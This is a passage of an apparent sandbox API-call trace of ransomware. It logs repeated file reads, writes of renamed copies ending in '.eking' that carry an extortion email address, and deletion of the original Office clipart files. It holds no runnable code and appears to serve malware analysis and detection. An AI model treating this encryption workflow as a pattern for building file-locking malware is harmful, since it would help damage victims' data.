out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.963] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.963] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.963] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x7114, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x7114, lpOverlapped=0x0) returned 1 [0191.967] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.972] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.129] CloseHandle (hObject=0x1e8) returned 1 [0192.129] CloseHandle (hObject=0x1b8) returned 1 [0192.131] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0192.132] SetEvent (hEvent=0x174) returned 1 [0192.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.133] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11636) returned 1 [0192.133] CloseHandle (hObject=0x1b8) returned 1 [0192.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0192.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0192.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.134] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.134] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.135] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2d74, lpOverlapped=0x0) returned 1 [0192.137] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2d80, lpOverlapped=0x0) returned 1 [0192.138] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.138] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.139] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.139] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2d74, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2d74, lpOverlapped=0x0) returned 1 [0192.141] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.373] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.376] CloseHandle (hObject=0x1b8) returned 1 [0192.376] CloseHandle (hObject=0x1e8) returned 1 [0192.380] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0192.382] SetEvent (hEvent=0x174) returned 1 [0192.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.387] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=22516) returned 1 [0192.387] CloseHandle (hObject=0x1e8) returned 1 [0192.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0192.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0192.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.387] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.387] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.388] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x57f4, lpOverlapped=0x0) returned 1 [0192.390] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x5800, lpOverlapped=0x0) returned 1 [0192.392] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.392] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.392] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.392] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x57f4, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x57f4, lpOverlapped=0x0) returned 1 [0192.395] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.399] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.403] CloseHandle (hObject=0x1e8) returned 1 [0192.403] CloseHandle (hObject=0x1b8) returned 1 [0192.404] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0192.406] SetEvent (hEvent=0x174) returned 1 [0192.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.407] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=17236) returned 1 [0192.407] CloseHandle (hObject=0x1b8) returned 1 [0192.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0192.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0192.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.407] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.408] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.408] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x4354, lpOverlapped=0x0) returned 1 [0192.410] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x4360, lpOverlapped=0x0) returned 1 [0192.412] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.412] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.412] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.412] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4354, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x4354, lpOverlapped=0x0) returned 1 [0192.414] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.418] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.421] CloseHandle (hObject=0x1b8) returned 1 [0192.421] CloseHandle (hObject=0x1e8) returned 1 [0192.422] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0192.424] SetEvent (hEvent=0x174) returned 1 [0192.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.425] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16112) returned 1 [0192.425] CloseHandle (hObject=0x1e8) returned 1 [0192.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0192.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0192.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.426] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.426] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.426] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x3ef0, lpOverlapped=0x0) returned 1 [0192.429] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x3f00, lpOverlapped=0x0) returned 1 [0192.431] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.431] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.431] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.431] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x3ef0, lpOverlapped=0x0) returned 1 [0192.434] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.439] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.443] CloseHandle (hObject=0x1e8) returned 1 [0192.444] CloseHandle (hObject=0x1b8) returned 1 [0192.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0192.451] SetEvent (hEvent=0x174) returned 1 [0192.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.454] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16676) returned 1 [0192.454] CloseHandle (hObject=0x1b8) returned 1 [0192.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0192.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0192.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.454] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.455] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.455] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x4124, lpOverlapped=0x0) returned 1 [0192.457] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x4130, lpOverlapped=0x0) returned 1 [0192.459] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.459] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.459] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.459] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x4124, lpOverlapped=0x0) returned 1 [0192.462] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.467] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.469] CloseHandle (hObject=0x1b8) returned 1 [0192.470] CloseHandle (hObject=0x1e8) returned 1 [0192.473] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0192.475] SetEvent (hEvent=0x174) returned 1 [0192.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.475] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=26748) returned 1 [0192.476] CloseHandle (hObject=0x1e8) returned 1 [0192.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0192.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0192.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.476] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.476] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.477] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x687c, lpOverlapped=0x0) returned 1 [0192.480] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x6880, lpOverlapped=0x0) returned 1 [0192.481] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.482] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.482] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.482] WriteFile (in: hFile=0x1e8, 